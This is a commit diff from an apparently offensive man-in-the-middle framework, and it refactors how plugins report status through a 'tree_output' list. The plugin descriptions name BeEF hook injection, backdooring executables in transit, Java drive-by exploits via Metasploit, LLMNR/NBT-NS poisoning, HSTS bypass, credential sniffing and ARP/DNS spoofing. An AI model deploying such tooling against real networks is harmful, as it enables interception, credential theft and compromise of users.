changed tree output loading method

This commit is contained in:
byt3bl33d3r 2015-04-11 15:54:51 +02:00
parent d4c6b7d5b6
commit c8732d60eb
12 changed files with 67 additions and 68 deletions

@ -1 +1 @@
Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af
Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8

View file

@ -163,17 +163,21 @@ load = []
for p in plugins:
try:
if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version)
if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
print "| |_ %s" % line
p.tree_output.remove(line)
if getattr(args, p.optname):
p.initialize(args)
load.append(p)
if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version)
if p.output:
for line in p.output:
if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
print "| |_ %s" % line
p.output.remove(line)
except Exception, e:
print "[-] Error loading plugin %s: %s" % (p.name, str(e))

View file

@ -37,6 +37,7 @@ class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
tree_output = []
depends = ["Inject"]
version = "0.3"
req_root = False
@ -68,7 +69,7 @@ class BeefAutorun(Inject, Plugin):
if not beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
self.output.append("Mode: %s" % self.Mode)
self.tree_output.append("Mode: %s" % self.Mode)
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True)

View file

@ -78,6 +78,7 @@ class FilePwn(Plugin):
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"]
tree_output = ["BDFProxy v0.2 online"]
version = "0.2"
has_opts = False
req_root = False

View file

@ -41,6 +41,7 @@ class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
tree_output = []
depends = ["Browserprofiler"]
version = "0.3"
has_opts = False
@ -73,7 +74,7 @@ class JavaPwn(BrowserProfiler, Plugin):
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version']
self.output.append("Connected to Metasploit v%s" % version)
self.tree_output.append("Connected to Metasploit v%s" % version)
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

View file

@ -31,6 +31,7 @@ class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
req_root = True
@ -40,17 +41,13 @@ class Responder(Plugin):
self.options = options
self.interface = options.interface
RESP_VERSION = "2.1.2"
try:
config = options.configfile['Responder']
except Exception, e:
sys.exit('[-] Error parsing config for Responder: ' + str(e))
self.output.append("NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION)
if options.Analyse:
self.output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
start_responder(options, config)

View file

@ -25,12 +25,14 @@ import logging
from plugins.plugin import Plugin
from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import start_dnschef
class HSTSbypass(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"]
has_opts = False
req_root = True
@ -39,17 +41,11 @@ class HSTSbypass(Plugin):
self.manualiptables = options.manualiptables
try:
config = options.configfile['SSLstrip+']
hstsconfig = options.configfile['SSLstrip+']
dnsconfig = options.configfile['Spoof']['DNS']
except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
self.output.append("SSLstrip+ by Leonardo Nve running")
URLMonitor.getInstance().setHstsBypass(hstsconfig)
URLMonitor.getInstance().setHstsBypass(config)
#def finish(self):
# if _DNS.checkInstance() is True:
# _DNS.getInstance().stop()
# if not self.manualiptables:
# SystemConfig.iptables.Flush()
start_dnschef(options, dnsconfig, hstsconfig)

View file

@ -41,6 +41,7 @@ class Sniffer(Plugin):
name = "Sniffer"
optname = "sniffer"
desc = "Sniffs for various protocol login and auth attempts"
tree_output = ["Net-Creds online"]
implements = ["sendRequest"]
version = "0.1"
has_opts = False
@ -66,9 +67,7 @@ class Sniffer(Plugin):
sys.exit("[-] Sniffer plugin requires root privileges")
n = NetCreds()
#if not self.parse:
self.output.append("Net-Creds online")
t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,))
t.setDaemon(True)
t.start()

View file

@ -35,6 +35,7 @@ class Spoof(Plugin):
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
tree_output = []
has_opts = True
req_root = True
@ -92,8 +93,8 @@ class Spoof(Plugin):
if not options.manualiptables:
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
self.tree_output.append("DNSChef v0.3 online")
start_dnschef(options, self.dnscfg)
self.output.append("DNSChef v0.3 online")
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

View file

@ -9,7 +9,6 @@ class Plugin(object):
optname = "generic"
desc = ""
implements = []
output = []
has_opts = False
req_root = False

View file

@ -9,4 +9,4 @@ pyyaml
ua-parser
Pillow
pefile
capstone
dnslib